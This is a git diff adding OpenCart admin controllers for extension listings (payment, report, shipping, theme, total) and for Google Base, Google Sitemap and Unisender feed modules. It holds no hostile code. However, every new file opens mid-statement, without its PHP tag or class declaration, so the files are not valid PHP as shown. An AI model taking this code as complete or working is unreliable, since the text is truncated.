+
+ if(isset($user_group_info['permission']['hiden'])) {
+ $hiden = $user_group_info['permission']['hiden'];
+ } else {
+ $hiden = array();
+ }
+
+ $data['hiden'] = false;
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ if (!in_array('extension/payment/' . $extension, $hiden)) {
+ $this->load->language('extension/payment/' . $extension, 'extension');
+
+ $text_link = $this->language->get('extension')->get('text_' . $extension);
+
+ if ($text_link != 'text_' . $extension) {
+ $link = $text_link;
+ } else {
+ $link = '';
+ }
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'link' => $link,
+ 'status' => $this->config->get('payment_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('payment_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/payment/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/payment/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/payment/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ } else {
+ $data['hiden'] = true;
+ }
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $this->response->setOutput($this->load->view('extension/extension/payment', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/payment')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/report.php b/public/admin/controller/extension/extension/report.php
new file mode 100644
index 0000000..ce0ad5f
--- /dev/null
+++ b/public/admin/controller/extension/extension/report.php
@@ -0,0 +1,112 @@
+load->language('extension/extension/report');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/report');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('report', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/report/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/report/' . $this->request->get['extension']);
+
+ $this->load->controller('extension/report/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/report');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('report', $this->request->get['extension']);
+
+ $this->load->controller('extension/report/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('report');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/report/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/report/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('report', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/report/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/report/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('report_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('report_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/report/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/report/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/report/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/report', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/report')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/shipping.php b/public/admin/controller/extension/extension/shipping.php
new file mode 100644
index 0000000..10954de
--- /dev/null
+++ b/public/admin/controller/extension/extension/shipping.php
@@ -0,0 +1,145 @@
+load->language('extension/extension/shipping');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/shipping');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('shipping', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/shipping/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/shipping/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/shipping/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/shipping');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('shipping', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/shipping/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['text_hide_shipping'] = sprintf($this->language->get('text_hide_shipping'), $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'], true));
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('shipping');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/shipping/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/shipping/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('shipping', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/shipping/*.php');
+
+ $this->load->model('user/user_group');
+ $user_group_info = $this->model_user_user_group->getUserGroup($this->user->getGroupId());
+ if(isset($user_group_info['permission']['hiden'])) {
+ $hiden = $user_group_info['permission']['hiden'];
+ } else {
+ $hiden = array();
+ }
+ $data['hiden'] = false;
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ if (!in_array('extension/shipping/' . $extension, $hiden)) {
+ $this->load->language('extension/shipping/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('shipping_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('shipping_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/shipping/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/shipping/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/shipping/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ } else {
+ $data['hiden'] = true;
+ }
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/shipping', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/shipping')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/theme.php b/public/admin/controller/extension/extension/theme.php
new file mode 100644
index 0000000..960f8f9
--- /dev/null
+++ b/public/admin/controller/extension/extension/theme.php
@@ -0,0 +1,131 @@
+load->language('extension/extension/theme');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/feed');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('theme', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/theme/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/theme/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/theme/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/theme');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('theme', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/theme/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('theme');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/theme/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/theme/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('theme', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('setting/setting');
+
+ $stores = $this->model_setting_store->getStores();
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/theme/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/theme/' . $extension, 'extension');
+
+ $store_data = array();
+
+ $store_data[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'edit' => $this->url->link('extension/theme/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=0', true),
+ 'status' => $this->config->get('theme_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+
+ foreach ($stores as $store) {
+ $store_data[] = array(
+ 'name' => $store['name'],
+ 'edit' => $this->url->link('extension/theme/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $store['store_id'], true),
+ 'status' => $this->model_setting_setting->getSettingValue('theme_' . $extension . '_status', $store['store_id']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+ }
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'install' => $this->url->link('extension/extension/theme/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/theme/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'store' => $store_data
+ );
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/theme', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/theme')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/total.php b/public/admin/controller/extension/extension/total.php
new file mode 100644
index 0000000..01732a1
--- /dev/null
+++ b/public/admin/controller/extension/extension/total.php
@@ -0,0 +1,122 @@
+load->language('extension/extension/total');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/total');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('total', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/total/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/total/' . $this->request->get['extension']);
+
+ $this->load->controller('extension/total/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/total');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('total', $this->request->get['extension']);
+
+ $this->load->controller('extension/total/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('total');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/total/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/total/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('total', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/total/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/total/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('total_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('total_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/total/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/total/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/total/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $this->response->setOutput($this->load->view('extension/extension/total', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/total')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/feed/google_base.php b/public/admin/controller/extension/feed/google_base.php
new file mode 100644
index 0000000..523f013
--- /dev/null
+++ b/public/admin/controller/extension/feed/google_base.php
@@ -0,0 +1,243 @@
+load->language('extension/feed/google_base');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('feed_google_base', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/google_base', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/google_base', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/google_base';
+
+ if (isset($this->request->post['feed_google_base_status'])) {
+ $data['feed_google_base_status'] = $this->request->post['feed_google_base_status'];
+ } else {
+ $data['feed_google_base_status'] = $this->config->get('feed_google_base_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/google_base', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_base')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function install() {
+ $this->load->model('extension/feed/google_base');
+
+ $this->model_extension_feed_google_base->install();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/feed/google_base');
+
+ $this->model_extension_feed_google_base->uninstall();
+ }
+
+ public function import() {
+ $this->load->language('extension/feed/google_base');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_base')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ if (!empty($this->request->files['file']['name']) && is_file($this->request->files['file']['tmp_name'])) {
+ // Sanitize the filename
+ $filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
+
+ // Allowed file extension types
+ if (utf8_strtolower(utf8_substr(strrchr($filename, '.'), 1)) != 'txt') {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Allowed file mime types
+ if ($this->request->files['file']['type'] != 'text/plain') {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Return any upload error
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+ }
+
+ if (!$json) {
+ $json['success'] = $this->language->get('text_success');
+
+ $this->load->model('extension/feed/google_base');
+
+ // Get the contents of the uploaded file
+ $content = file_get_contents($this->request->files['file']['tmp_name']);
+
+ $this->model_extension_feed_google_base->import($content);
+
+ unlink($this->request->files['file']['tmp_name']);
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function category() {
+ $this->load->language('extension/feed/google_base');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['google_base_categories'] = array();
+
+ $this->load->model('extension/feed/google_base');
+
+ $results = $this->model_extension_feed_google_base->getCategories(($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['google_base_categories'][] = array(
+ 'google_base_category_id' => $result['google_base_category_id'],
+ 'google_base_category' => $result['google_base_category'],
+ 'category_id' => $result['category_id'],
+ 'category' => $result['category']
+ );
+ }
+
+ $category_total = $this->model_extension_feed_google_base->getTotalCategories();
+
+ $pagination = new Pagination();
+ $pagination->total = $category_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('extension/feed/google_base/category', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($category_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($category_total - 10)) ? $category_total : ((($page - 1) * 10) + 10), $category_total, ceil($category_total / 10));
+
+ $this->response->setOutput($this->load->view('extension/feed/google_base_category', $data));
+ }
+
+ public function addCategory() {
+ $this->load->language('extension/feed/google_base');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_base')) {
+ $json['error'] = $this->language->get('error_permission');
+ } elseif (!empty($this->request->post['google_base_category_id']) && !empty($this->request->post['category_id'])) {
+ $this->load->model('extension/feed/google_base');
+
+ $this->model_extension_feed_google_base->addCategory($this->request->post);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function removeCategory() {
+ $this->load->language('extension/feed/google_base');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_base')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('extension/feed/google_base');
+
+ $this->model_extension_feed_google_base->deleteCategory($this->request->post['category_id']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('extension/feed/google_base');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ $filter_data = array(
+ 'filter_name' => html_entity_decode($filter_name, ENT_QUOTES, 'UTF-8'),
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_extension_feed_google_base->getGoogleBaseCategories($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'google_base_category_id' => $result['google_base_category_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/extension/feed/google_sitemap.php b/public/admin/controller/extension/feed/google_sitemap.php
new file mode 100644
index 0000000..38c96dc
--- /dev/null
+++ b/public/admin/controller/extension/feed/google_sitemap.php
@@ -0,0 +1,69 @@
+load->language('extension/feed/google_sitemap');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('feed_google_sitemap', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/google_sitemap', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/google_sitemap', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ if (isset($this->request->post['feed_google_sitemap_status'])) {
+ $data['feed_google_sitemap_status'] = $this->request->post['feed_google_sitemap_status'];
+ } else {
+ $data['feed_google_sitemap_status'] = $this->config->get('feed_google_sitemap_status');
+ }
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/google_sitemap';
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/google_sitemap', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_sitemap')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/feed/google_sitemap_fast.php b/public/admin/controller/extension/feed/google_sitemap_fast.php
new file mode 100644
index 0000000..a898eaa
--- /dev/null
+++ b/public/admin/controller/extension/feed/google_sitemap_fast.php
@@ -0,0 +1,69 @@
+load->language('extension/feed/google_sitemap_fast');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('feed_google_sitemap_fast', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/google_sitemap_fast', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/google_sitemap_fast', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ if (isset($this->request->post['feed_google_sitemap_fast_status'])) {
+ $data['feed_google_sitemap_fast_status'] = $this->request->post['feed_google_sitemap_fast_status'];
+ } else {
+ $data['feed_google_sitemap_fast_status'] = $this->config->get('feed_google_sitemap_fast_status');
+ }
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/google_sitemap_fast';
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/google_sitemap_fast', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_sitemap_fast')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/feed/unisender.php b/public/admin/controller/extension/feed/unisender.php
new file mode 100644
index 0000000..243646f
--- /dev/null
+++ b/public/admin/controller/extension/feed/unisender.php
@@ -0,0 +1,162 @@
+request->get['key'];
+ $ch = curl_init ('https://api.unisender.com/ru/api/getLists?format=json&api_key='.$key) ;
+ curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1) ;
+ $res = curl_exec ($ch) ;
+ curl_close ($ch) ;
+ echo $res;
+ }
+
+ public function index() {
+ $this->load->language('extension/feed/unisender');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST') {
+ if ($this->validate($this->request->post)) {
+ $this->model_setting_setting->editSetting('feed_unisender', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', 'SSL'));
+ }
+ }
+
